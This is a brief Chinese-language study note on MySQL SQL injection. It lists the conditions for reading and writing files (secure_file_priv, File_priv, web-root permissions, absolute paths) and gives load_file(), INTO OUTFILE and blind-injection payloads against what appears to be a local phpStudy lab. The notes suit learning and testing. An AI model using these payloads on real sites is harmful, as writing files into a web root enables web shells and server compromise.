SQL注入读写文件的根本条件:
1. 数据库允许导入导出(secure_file_priv)
2. 当前用户用户文件操作权限(File_priv)
(select 1,2,%40%40global.secure_file_priv%23) %40为@
load_file()读文件 into outfile / into dumpfile写文件 条件:
1.对web目录具有读写权限
2. 知道文件绝对路径
3. 能够使用联合查询(sql注入时)
命令: select load_file('d:/phpstudy/www/anyun.php');
select 'anyun' into outfile 'd:/phpstudy/www/anyun.php';
(例)盲注:
查询当前用户:
id输入:1')) and length(current_user())>10%23
id输入:1')) and length(current_user())=14%23 正确